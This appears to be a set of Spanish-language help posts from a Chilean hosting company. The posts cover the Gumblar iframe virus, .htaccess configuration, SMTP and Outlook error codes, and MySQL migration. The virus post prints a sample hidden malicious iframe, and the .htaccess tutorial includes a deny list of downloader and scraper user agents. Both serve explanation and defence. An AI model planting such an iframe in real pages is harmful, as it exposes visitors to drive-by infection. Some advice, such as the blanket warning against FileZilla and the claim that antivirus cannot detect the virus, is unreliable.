PowerHost se une a la lucha contra el SPAM!

En el día de hoy hemos recibido la noticia del Equipo de Hotmail, en el cual nos confirmaron como nuevos miembros de su programa “Junk Email Reporting Partner”.

Gracias a este programa y nuestra afiliación, todos nuestros servidores han sido limpiado de la lista negra de Hotmail y agregados a su lista segura.

Nos sentimos orgullos de este logro, ya que no cualquier empresa es aceptaba en el programa, lo cual nos indica que nuestra empresa ha tomado medidas aceptadas sobre el manejo de e-mails por parte de sus clientes así como en la seguridad de sus servidores.

Desde hoy en más, mantendremos un contacto directo con Hotmail, el cual nos notificará de cualquier inconveniente con cualquiera de nuestros clientes, para nuestra acción en el tema.

Por tal motivo, solicitamos a los clientes cooperación en el asunto, verificando sus listas de contacto, actualizándolas  lo más seguido posible, para evitar inconvenientes.

Nos enorgullese este tipo de logros y que empresas como Hotmail y Google (el cual nos dió un millón de dólares en cupones a repartir entre los clientes)  rectifiquen la importancia y crecimiento que ha tomando nuestra empresa en Latinoamerica.

Enorabuena PowerHost!

Código malicioso en sitio web iframe

Virus Iframe el virus que se propaga usando webmasters

¿Virus Iframe? ¿Conocías este virus?, seguramente si eres una internauta promedio utilizando un hosting -como casi todos- nunca habías oído hablar de este virus, pero no te preocupes, te vamos a explicar de qué se trata; En si es un troyano/virus que se instala en nuestro computador y cada vez que nosotros nos conectamos al FTP de nuestra página automáticamente inserta un código en todas nuestras páginas, si, así como lees! como si no fuera suficiente con los virus que podemos llegar a tener en nuestra PC ahora también debemos cuidar nuestras páginas webs.

Los virus iframes se caracterizan por incluir código en las páginas web, este código es en la forma de una iframe invisible que re direcciona al usuario a una web maligna en donde le infecta, a diferencia de otros tipos de malware, este virus requiere de webmasters para propagarse, básicamente lo que hace el virus es esperar por conexiones FTP al servidor, una vez que el webmaster o dueño de un sitio web ha accedido a su sitio vía FTP el virus pasa al sitio web en donde modifica algunas páginas html e inserta un código similar a:

<iframe src=”http://sitio_malicionso.xxx” width=109 height=147 style=”visibility: hidden”/>

No importa cuántas veces borremos el código de la web, el virus volverá aparecer, la razón es sencilla:

El PC del webmaster o persona con acceso FTP está infectado y cada vez que se conecta FTP el virus pasa a las páginas web.

A menudo los usuarios de hosting  piensan que el servidor donde está su página tiene el virus, pero no es así, el virus está en el propio PC de los usuarios y esto está comprobado por todas los fabricantes de antivirus y en internet podrás observar a través de los buscadores que este es un virus netamente de usuario no de servidor.

Consejos para eliminar este virus:

1-    Limpiar el PC infectado (casi 90% de los usuarios dice por costumbre: NO…PERO TENGO ANTIVIRUS…IMPOSIBLE QUE MI PC ESTE INFECTADO…El afirmar esto es un error muy grave…ya que los antivirus en su mayoría no son capaces de detectar este virus , ya que es solo un código y no algo ejecutable, por lo tanto deja de pensar que tu PC es blindado, NO existe PC blindado!

2-    Asegúrate  de que dispones de un buen antivirus y el mismo se encuentra actualizado y además tengas instalado en tu PC anti-malwares.  ( SOLO ANTIVIRUS NO FUNCIONA)

3-    Usar la herramienta hijackthis para detectar la presencia del virus local.

4-    Ingresa a tu Cpanel, cambia las contraseñas.

5-    Elimina el código malicioso en las páginas web

6-    Si utilizas el FTP FILEZILLA, elimínalo inmediatamente de tu PC, el filezilla es fuente de infecciones. Utiliza otro software ftp pero NO filezilla.

ATENCION:

Este código malicioso también se inyecta en los CMS que no están actualizados!

Joomla es fuente de infecciones graves… POR LO TANTO MANTEN TU CMS SIEMPRE ACTUALIZADO y asegurate siempre de cambiar las contraseñas de administrador de JOOMLA.

Nombre del virus : GUMBLAR

Fuentes: http://en.wikipedia.org/wiki/Gumblar

powerhost hosting multidominios powerhost
powerhost.cl
Rie.cl

No puedo ver ninguno de mis sitios…correo etc..

No se desespere!

Esto NO indica que los  servidores están caídos.

Leer con atención :

Todos los servidores poseen un sistema de seguridad. Un Firewall , el cual esta programado para para bloquear una ip de un usuario siempre y cuando :

  • Ingresa más de 3 veces a panel de control, e-mail o FTP con clave equivocada.
  • Ingresa a FTP, mail o panel de control clickeando demasiadas veces.
  • Cuando un computador personal que esta accediendo esta con Virus o cualquier malware.
  • Cuando usuario intenta subir archivos infectados
  • Cuando accede mas de 40 veces por minuto a correo electrónico
  • Cuando el software FTP del cliente esta haciendo conexiones simultaneas continuas en menos de 1 minuto

 

 

Como puedo probar que el servidor no esta caído ¿

-Simple: Pregunte a personas desde otras conexiones a internet si pueden visualizar su sitio.

Si esta persona puede, es señal que su ip este bloqueada por el Firewall de servidor.

 

Que puedo hacer en estos casos ¿

-Comunicarse con nuestro chat online , o via mail , o ticket de soporte informando que no puede visualizar su sitio  y el atendiente de turno desbloqueara su ip para que vuelva a ingresar sin problemas.

Hosting PowerHost
webhosting y dominios
Rie.cl
Powerhost hosting multidominios PowerHost
hosting powerhost opiniones
Buen-dato.cl

Excelente cliente de FTP para subir tu sitio web

WS_FTP es un muy buen cliente de FTP, capaz de realizar todo tipo de transferencias FTP, con un entorno muy intuitivo para facilitar su uso.

Dispone de integración total con el Explorador de Windows, previsualización de imágenes sin salir del programa, soporte de transmisión entre dos servidores FTP, reenvío automático de ficheros en caso de desconexión, opción de mirroring (transmite sólo los ficheros nuevos, no sobreescribe los que ya estén y tengan la misma fecha), soporte para skins.. etc.

 

Descargar

 

hosting powerhost
web hosting chile
Rie.cl
powerhost hosting multidominios powerhost
powerhost.cl
Rie.cl

Tutorial de .htaccess en hosting

Para aquellos que pelean contra WP y el formato de links. Y también para quien lo necesite una pequeña recopilación de consejos para poder crear y modificar el archivo misterioso que todo lo puede…. htaccess

.htaccess (Acceso de Hiper-Texto) es el nombre por defecto del archivo de configuración de directorios de Apache. Provee de la habilidad para personalizar la configuración de las directivas definidas en el archivo de configuración principal. Las directivas de configuración necesitan estar en el contexto de .htaccess y el usuario necesita los permisos apropiados.

Control de acceso a carpetas

Podrías querer deshabilitar totalmente el acceso a una carpeta (por ejemplo, una carpeta con librerías de programación que se incluyen en los archivos principales. En este caso sólo los archivos principales accederána ellos mediante el sistema de archivos, pero no se podrán acceder via web). Bueno, simplemente crea un archivo .htaccess en esa carpeta que contenga:

#deny all access
deny from all

Si se quiere permitir el acceso desde una IP específica

#deny all access
deny from all
allow from 10.0.0.1

o para un rango específico de IPs (forzado mediante la máscara de red)

allow from 192.168.0.0/24

también se puede bloquear el acceso a un archivo específico

<Files privado.html>
Order allow,deny
Deny from all

Listado de carpetas

Si se quiere hacer las carpetas navegables, entonces necesitamos agregar esta línea al archivo .htaccess

Options +Indexes +MultiViews +FollowSymlinks

Y esta si se tiene el módulo apropiado en el servidor web


IndexOptions FancyIndexing

También se podría querer prevenir el listado de carpetas

IndexIgnore *

Activar compresión

Se puede habilitar la compresión de datos inherente de PHP para ahorrar ancho de banda


php_value zlib.output_compression 16386

Escondiendo archivos

Para deshabilitar el acceso a un archivo en particula se puede utilizar una expresión regular y la directiva Files para denegar acceso a cualquier archivo que comience con .ht

Se puede modificar esto para restringir un archivo en particular (como archivos de configuración, robots.txt, archivos de logs o lo que se desee).


Order allow,deny
Deny from all
Satisfy All

Páginas de error HTTP 404 personalizadas

Si se quisiera redireccionar los visitantes cada vez que se encuentran con una página de error HTTP 404, utiliza éste código:

ErrorDocument 404 /errores/noencontrado.html

Esto redirije el usuario hacia /errores/noencontrado.html cada vez que sucede un error 404. Obviamente, se puede redefinir para que capture otros errores http (403, 5000, etc). Sigue leyendo para ver lo que encontré

Consejo: Internet Explorer tiene una “funcionalidad” poco documentada que previene la utilización de cualquier página de error 404 personalizada que sea menor a 512 bytes de largo. Los visitantes serán enviados, en cambio, a la página propia de IE, que es genérica y sugiere que utilizen una búsqueda en MSN para buscar la información en internet. ¡Esa es una forma de perder visitantes! Asegúrate que tu página personalizada esté por sobre este límite – algo así como 10 líneas completas de texto y HTML deberían ser suficientes.

Bloqueo de referers maliciosos – Nada de hotlinking

Si se desea bloquera algunas partes del sitio de cualquier referer malicioso:


RewriteEngine on
RewriteCond %{HTTP_REFERER} ejemplo\.com [NC,OR]
RewriteCond %{HTTP_REFERER} otroejemplo\.com
RewriteRule .* - [F]

Utilizando el motor rewrite [de reescritura] se denegará el acceso al sitio a cualquier visitante que venga de chicomalo.com u otrositiodesagradable.com. Para evitar el robo de ancho de banda, se puede bloquear el acceso a un archivo en particular (o extensión de archivos).


RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://([-a-z0-9]+\.)?example\.com[NC]
RewriteRule .*\.(zip|mp3|avi|wmv|mpg|mpeg)$ http://www.example.com/images/nohotlink.gif [R,NC,L]

Esto dice: “si el visitante no proviene de misitio.net, entonce redirije todos los pedidos de archivos (zip,mp3,avi,wmv,mpg,mpeg) a una imagen que dice “No permitimos hotlinking” De esa forma, puedes redirigir a una página, o lo que desees, o p uedes modificar la lista de extensíones de archivo para incluir/quitar otros archivos. Cuidado: cuando se decide bloquera el hotlinking de imágenes recuerda que puedes estar bloqueando todo tráfico fuera del alcance de tu dominio. Por ejemplo, si se posee un archivo de sindicación tomado por bloglines necesitarás modificar la regla para permitirles a los lectores obtener las imágenes – o el RSS se verá mal.

Bloqueo de robots maliciosos

En algunos casos se querrá bloquear algunos robots maliciosos, como spiders o descargadores. Para ello utilizaremos mod_rewrite nuevamente. Normalmente los robots maliciosos ignoran el archivo de directivas robots.txt por lo que se podría querer forzar un error 403 cada vez que quieran recorrer o descargar tu sitio:


RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
RewriteRule .* - [F]

No mostrar ‘www’

Para hacer esto, basta con una simple regla de re-escritura:


Options +FollowSymlinks
RewriteEngine on
RewriteCond %{http_host} ^www\.example\.com[nc]
RewriteRule ^(.*)$ http://example.com/$1 [r=301,nc]

¿Por qué querría quitar ‘www’? En ese link los fundamentos

Escondiendo la extensión del lenguaje de scripting

Se puede aumentar la seguridad cambiando la extensión de los scripts para que los visitantes desconozcan qué lenguaje estás utilizando:

# Make PHP code look like unknown types
AddType application/x-httpd-php .cool

De esta forma, los archivos .cool serán tratados como si fuesen archivos PHP. Se deben renombrar los archivos que se quiera con esta nueva extensión.

Consejos y trucos varios

  • Mantiene el archivo .htaccess pequeño: este archivo es procesado por el servidor web en cada pedido (pudiendo causar problemas de performance).
  • Mantiene tu archivo .htaccess organizado. Utiliza comentarios (líneas que comienzan en #) y se lógicamente consistente. Es complicado entender un archivo .htaccess desorganizado una vez que crece lo suficiente.
  • Cuando se utilicen reglas de reescritura de URLs, agrega la opción [L] a aquellas páginas finales (como la de hotlinking y demás). Esto le dirá al servidor que no procese más reglas (aumentando la performance).
  • Cuidado con la herencia: el archivo .htaccess a nivel raíz es aplicado también en las carpetas, cuaquier regla .htaccess en la carpeta puede reemplazar las reglas de la carpeta raíz.

Protección con contraseña mediante .htpasswd

Esto es útil cuando se quiere agregar una contraseña a ciertas páginas y/o archivos

  • Crea un archivo .htpasswd en la carpeta a protejer.
  • El archivo contendrá la información de registro de la forma usuario:contraseña. El nombre de usuario es en texto plano. La contraseña debe de estar encriptada o no funcionará. Utiliza esta herramienta para saber qué texto agregar.
  • Si se crea el archivo en la PC local, acuérdate de subirlo al servidor en modo ASCII.
  • Normalmente, se puede modificar el archivo .htaccess. La autenticación se aplicará a la carpeta en la que se encuentre y las subcarpetas.AuthUserFile /home/pathto/.htpasswd
    AuthType Basic
    AuthName "Mi Carpeta Secreta"

    require valid-userSe puede protejer un sólo archivo incluyendo este código dentro de una directiva
  • Asegúrate de protejer el acceso al archivo .htaccess utilizando el primer consejo.

Activando SSI

Utiliza éstas instrucciones para activar la interpretación SSI

AddType text/html .html
AddType text/html .shtml
AddHandler server-parsed .html
AddHandler server-parsed .shtml

Cambiando la página por defecto

Se puede utilizar esta instrucción para cambiar la página por defecto (el orden es importante)

DirectoryIndex inicio.html index.htm index.html index.php

Evitando el error 500

Pasando el juego de caracteres se evita el mostrar un error 500

AddDefaultCharset utf-8

Directiva CheckSpelling [Control de Ortografía]

Esta directiva puede ser útil para auto-corregir errores de ortografía simple en la URL


CheckSpelling On

Agregar sumario MD5

Si no se está preocupado por problemas de performance, se peude agregar un cálculo de llave MD5 para agregar un MIC [Control de Integridad de Mensaje en inglés] en cada pedido. Esto es útil para controlar la integridad del mensaje.

ContentDigest On

 

 

powerhost hosting
powerhost.cl
Rie.cl

Errores SMTP al enviar un email

Errores SMTP al enviar un email

Algunas veces los programas de correo electrónico como el Outlook devuelven mensajes de error al intentar enviar un mail. A continuación se listan los código más frecuentes

SMTP 421
Service not available, closing transmission channel. Esta respuesta la envía el Servidor SMTP a un Servidor SMTP remoto o a un Cliente SMTP para indicarle que el Servidor SMTP no está disponible en ese momento.

SMTP 450
Requested mail action not taken: mailbox unavailable. Esta respuesta la envía el servidor para indicar que un mensaje no pudo entregarse al receptor local debido a que su casilla de correo está ocupada, posiblemente recibiendo otro correo en ese instante.

SMTP 451
Requested action aborted: local error in processing. Esta respuesta se obtiene cuando el Servidor SMTP incurre en un error al procesar una transacción de SMTP.

SMTP 452
Requested action not taken: insufficient system storage. No hay suficiente espacio en la cuenta para almacenar el mensaje.

SMTP 500
Syntax error, command unrecognized. Indica que el servidor no pudo interpretar un comando que se le envió al Servidor o Cliente remoto de SMTP.

SMTP 501
Syntax error in parameters or arguments. Indica que el servidor identificó un intento de envío de un comando SMTP pero los parámetros asociados al mismo contenían algún error de sintaxis.

SMTP 502.
Command not implemented. Indica que una característica o comando solicitado al servidor no pudo entregarse porque está deshabilitada o no está implementada en el conector MailEnable s del SMTP.

SMTP 504
Command parameter not implemented. Indica que el comando enviado al conector MailEnable s de SMTP contenía otro comando que no se pudo procesar en la misma transacción.

SMTP 550
Requested action not taken: mailbox unavailable or is not local. Indica que la dirección del destinatario no se encuentra alojada en ese servidor y que las opciones de relay previenen que el mensaje sea reenviado al destinatario correcto.

SMTP 551
User not local; please try. Indica que el receptor especificado en el comando RCPT no está albergado localmente en el servidor y que las opciones de relay previenen que el mensaje sea reenviado al destinatario.

SMTP 552
Requested mail action aborted: exceeded storage allocation. Esta respuesta se obtiene del servidor ante un comando RCPT o DATA cuando el usuario ha excedido su capacidad de almacenaje de correo.

SMTP 553
Requested action not taken: mailbox name not allowed. Indica que el formato de una dirección SMTP especificada en el comando RCPT es incorrecta o no está bien formateada.

SMTP 554
Transaction failed. Es una respuesta genérica del servidor cuando falla una transacción SMTP. Normalmente ocurre esto cuando se reciben demasiados errores de procesamiento.

SMTP 214
Help message. Información sobre cómo utilizar el receptor o el significado de alg{un comando no standard; es una respuesta útil solo para el usuario humano.

powerhost hosting chile
powerhost
Rie.cl

¿Que son los errores 0×800CCC0F 0×800CC15 0×80042108 0×800CCC0E 0×8004210B 0×800CCC0B 0×800CCC79 0×800CCC67 en Outlook?

Si al intentar enviar o recibir un correo electrónico, puede que aparezca un mensaje de error similar a uno de los siguientes:

- No se ha podido establecer conexión ya que el equipo de destino ha denegado activamente dicha conexión.
- Servidor no encontrado. (Cuenta:número de cuenta, ServidorPOP:’mail’, Número de error: 0×800ccc0d)
- Tarea ‘nombre de servidor – Envío y recepción’ informó de un error (0×800ccc0f): ‘Se ha interrumpido la conexión con el servidor. Si este problema continúa, póngase en contacto con el administrador de su servidor o con su proveedor de servicios Internet (ISP, Internet Service Provider). El servidor respondió: ? K’
- El servidor terminó inesperadamente la conexión. Puede que haya un problema en el servidor, un problema de red o que haya estado inactivo un periodo largo. Cuenta. nombre de cuenta, Servidor: ‘nombre de servidor’, Protocolo: POP3, Respuesta del servidor: ‘+OK’, Puerto: 110, Seguro (SSL): N0, Número de error: 0×800ccc0f
- Tarea ‘nombre de servidor SMTP – Envío y recepción’ informó de un error (0×80042109): ‘Outlook no puede conectar al servidor de correo saliente (SMTP). Si continúa apareciendo este mensaje, póngase en contacto con el administrador de su servidor o con su proveedor de servicios Internet (ISP).’
- La operación ha agotado el tiempo esperando una respuesta del servidor de recepción (POP) 0×8004210a
- Se ha excedido el tiempo de espera al comunicarse con el servidor 0×800ccc19

También puede recibir un mensaje de error que incluya uno o varios de los siguientes códigos de error:
    

- 0×800CCC15
- 0×80042108
- 0×800CCC0E
- 0×8004210B
- 0×800CCC0B
- 0×800CCC79
- 0×800CCC67

Estos mensajes de error se pueden producir si Microsoft Outlook o Microsoft Outlook Express no pueden establecer una conexión con el servidor de correo y suelen deberse a una de las causas siguientes:

- Configuración incorrecta de la cuenta (verificar tutoriales)    
- Error de configuración del software de servidor de seguridad personal
- Software antivirus
- Módem incorrecto
- Tamaño de Unidad máxima de transmisión (MTU)
- Se ha quitado Outlook Express del equipo o la instalación está dañada
- El perfil de usuario de Outlook está dañado
- Un elemento de correo del servidor POP3 está dañado

Para solucionar este problema verifique los siguientes puntos:

- Confirme que la configuración de su servidor de correo electrónico es correcta. Verificar en la gestión de clientes la opción de información técnica y los tutoriales
- Algunos ISP no permiten el enrutamiento de mensajes a través de otro servidor SMTP mientras se esté conectado a su red. Para resolver este problema, reemplace el servidor SMTP del otro ISP o de la otra cuenta de correo por el servidor SMTP que está asociado con el ISP que utiliza para conectarse a Internet.
- Si observa que la configuración de su cuenta se ha cambiado a “Localhost” en las opciones del servidor de Protocolo de oficina de correos (POP) y que aparece “nombre de cuenta/nombre de servidor POP” en el cuadro Nombre de cuenta de la ficha Servidor y utiliza software antivirus Trend Micro PC-cillin, deshabilite la función POP3 Scan (Pop3trap.exe) del software Trend PC-cillin. Para hacerlo, siga estos pasos:
* En el área de notificación de la barra de tareas, haga doble clic en el icono PC-cillin.
* Desactive la casilla de verificación Enable POP3 Scan.
* Vuelva a configurar la cuenta de correo POP3 en Outlook con los valores correctos.
Además, se ha detectado que puede ser necesario desactivar las opciones PC-cillin Web-Filter, Web Security y Enable POP3 Scan.

- Compruebe la configuración del software de servidor de seguridad. Configure el software de servidor de seguridad para conceder acceso a Internet a los archivos siguientes:

* En Outlook Express: Msimn.exe
* En Outlook: Outlook.exe
- Compruebe el tamaño de Unidad máxima de transmisión (MTU) establecido en el enrutador. Deberá obtener el siguiente programa y establecer como valor de MaxMTU 1492

Descargar

- Utilice el webmail para eliminar cualquier mensaje sospechoso.

hosting ftp online powerhost
powerhost hosting
Rie.cl

Indicaciones útiles para migrar una base de datos a MySQL, es decir, cuando tenemos que subir una base de datos local en cualquier gestor a una base de datos remota en MySQL.

El último caso en el que nos podemos encontrar a la hora de subir una base de datos a nuestro proveedor de alojamiento es que la base de datos la tengamos creada en local, pero en un sistema gestor distinto del que vamos a utilizar en remoto. En remoto suponemos siempre que vamos a utilizar la base de datos MySQL. En local podríamos disponer de una base de datos Access, SQL Server o de otro sistema de base de datos.

El proceso de la migración puede ser bastante complejo y, como hay tantas bases de datos distintas, difícil de dar una receta que funcione en todos los casos. Además, aparte de la dificultad de transferir la información entre los dos sistemas gestores de base de datos, también nos influirá mucho en la complejidad del problema el tipo de los datos de las tablas que estamos utilizando. Por ejemplo, las fechas, los campos numéricos con decimales o los boleanos pueden dar problemas al pasar de un sistema a otro porque pueden almacenarse de maneras distintas o, en el caso de los números, con una precisión distinta.

Recomendaciones para migrar de Access a MySQL

Si nuestra base de datos anterior estaba construida en Access lo tenemos bastante fácil, gracias a que MySQL dispone de un driver ODBC para sistemas Windows, que nos permite conectar Access con el propio MySQL y pasar información fácilmente.

Este tema está relatado en el artículo Exportar datos de MySQL a Access, aunque hay que indicar que si deseamos hacer una exportación desde Access en local a MySQL en remoto puede haber problemas porque no todos los alojadores permiten las conexiones en remoto con la base de datos. Si no tenemos disponible una conexión en remoto con nuestro servidor de bases de datos vamos a tener que cambiar la estrategia un poco.

La idea en este último caso es instalar MySQL en local y realizar la migración desde Access en local a MySQL en local y luego podríamos hacer un backup de la base de datos local y subirla a remoto, tal y como se ha relatado antes.

Recomendaciones para migrar desde SQL Server a MySQL

La verdad es que no he tenido este caso nunca, pero hay que decir que Access también nos puede ayudar en este caso. Access permite seleccionar una base de datos SQL Server y trabajar desde la propia interfaz de Access. La idea es que Access también permite trabajar con MySQL y posiblemente haciendo un puente entre estos dos sistemas gestores podemos exportar datos de SQL Server a MySQL.

Lo que es seguro que utilizando el propio Access de puente podríamos realizar el trabajo. Primero exportando de SQL Server a Acess y luego desde Access a MySQL.

Otras bases de datos u otras técnicas

Si la base de datos origen dispone de un driver ODBC no habrá (en teoría) problema para conectarla con Access, de manera similar a como se conecta con MySQL. Entonces podríamos utilizar Access para exportar los datos, porque desde allí se podrían acceder a los dos sistemas gestores de bases de datos.

Si no tenemos Access, o la base de datos original no tiene driver ODBC, o bien no nos funciona correctamente el proceso y no sabemos cómo arreglarlo, otra posibilidad es exportar los datos a ficheros de texto, separados por comas o algo parecido. Muchas bases de datos tienen herramientas para exportar los datos de las tablas a ficheros de texto, los cuales se pueden luego introducir en nuestro sistema gestor destino (MySQL) con la ayuda de alguna herramienta como PhpMyAdmin.

Para ello, en la página de propiedades de la tabla encontraremos una opción para hacer el backup de la tabla y para introducir ficheros de texto dentro de una tabla (Insert textfiles into table en inglés).

inserttxt

Accediendo a ese enlace podremos ver un formulario donde introducir las características del fichero de texto, como el carácter utilizado como separador de campos, o el terminador de líneas, etc, junto con el propio archivo con los datos, y PhpMyAdmin se encargará de todo el trabajo de incluir esos datos en la tabla.
txts

Como se habrá supuesto, es necesario tener creada la tabla en remoto para que podamos introducirle los datos del fichero de texto.

Cambios de un formato de datos a otro

Toda la migración tiene que tener en cuenta muy especialmente, como ya se señaló, las maneras que tenga cada base de datos de guardar la información, es decir, del formato de sus tipos de datos. Tenemos que contar siempre con la posible necesidad de transformar algunos datos como pueden ser los campos boleanos, fechas, campos memo (texto con longitud indeterminada), etc, que pueden almacenarse de maneras distintas en cada uno de los sistemas gestores, origen y destino.

En algunos casos posiblemente tengamos que realizar algún script que realice los cambios necesarios en los datos. Por ejemplo puede ser para localizar los valores boleanos guardados como true / false a valores enteros 0 / 1, que es como se guarda en MySQL. También las fechas pueden sufrir cambios de formato, mientras que en Access aparecen en castellano (dd/mm/aaaa) en MySQL aparecen en el formato aaaa-mm-dd. PHP puede ayudarnos en la tarea de hacer este script, también Visual Basic Script para Access puede hacer estas tareas complejas y el propio lenguaje SQL, a base de sentencias dirigidas contra la base de datos, puede servir para algunas acciones sencillas.

 

Hosting Mysql PowerHost

Un programa muy útil para administrar, visualmente y de manera sencilla, servidores de bases de datos MySQL.

MySQL Administrador es el nuevo software de administración de servidores de Bases de Datos de MySQL que ha creado MySQL AB. Se trata de un software multiplataforma, que por el momento se encuentra disponible para Linux y Microsoft Windows y que cuenta con un entorno gráfico de usuario muy intuitivo.

Este nuevo producto suple las carencias que tiene MySQL Control Center en el área de Administración de servidores. MySQL Control Center en estos momentos está deprecado, ha quedado obsoleto y no sigue desarrollándose. Se ha sustituido por el conjunto de programas MySQL Administrator y MySQL Query Browser.

MySQL Administrador es una herramienta que permite realizar tareas administrativas sobre servidores de MySQL incluyendo:

  • la configuración de las opciones de inicio de los servidores
  • inicio y detención de servidores
  • monitorización de conexiones al servidor
  • administración de usuarios
  • monitorización del estado del servidor, incluyendo estadísticas de uso
  • visualización de los logs de servidor
  • gestión de copias de seguridad y recuperaciones
  • visualización de catálogos de datos.

Instalación y configuración:

La descarga del programa se hace desde la página web de MySQL, en http://dev.mysql.com/downloads/administrator, También en la página de MySQL existen una serie de FAQs que ayudan en la instalación en caso de dudas, aunque la misma es bastante simple, en http://www.mysql.com/products/administrator/.
imagen1
Una vez instalado es necesario configurar una primera conexión contra un servidor de MySQL para poder acceder a la administración del mismo.

En la pantalla de configuración se deberán especificar los datos del servidor, nombre de usuario, contraseña y puerto, de la base de datos a la cual se desea conectar.

Una vez introducidos de forma correcta, aparece la pantalla principal del programa:
imagen22
Desde la pantalla principal se puede ver la información relativa al servidor de base datos al que se ha conectado, así como las características de la máquina en la que se está ejecutando el programa.

En la barra de menú a través de Tools, se tiene acceso a una consola de sistema (Windows o Linux dependiendo del caso), un cliente de conexión a MySQL bajo línea de comandos y a MySQL Query Browser. Desde este mismo menú, se accede a las opciones de configuración del administrador y de las conexiones que hay configuradas:
imagen3
En la sección de conexiones se encuentran almacenadas todas las conexiones a servidores que hay configuradas.

Algunas utilidades accesibles desde la ventana principal del programa son:

Service control: Inicio y detención de servidores (sólo accesible si se ha conectado con un servidor MySQL en la máquina local).
Startup variables: Configuración del servidor y las variables de inicio (sólo accesible si se ha conectado con un servidor MySQL en la máquina local).
User Administration: Para la gestión de usuarios y permisos.
Server conections: Visualiza y gestiona las conexiones abiertas con el servidor de bases de datos.
Health: Información sobre la carga del servidor
Server Logs: El historial de logs del servidor.
Replication Status: Con información de los sistemas replicados.
Backup: Para hacer una copia de seguridad de las bases de datos.
Restore: Para restaurar las copias de seguridad.
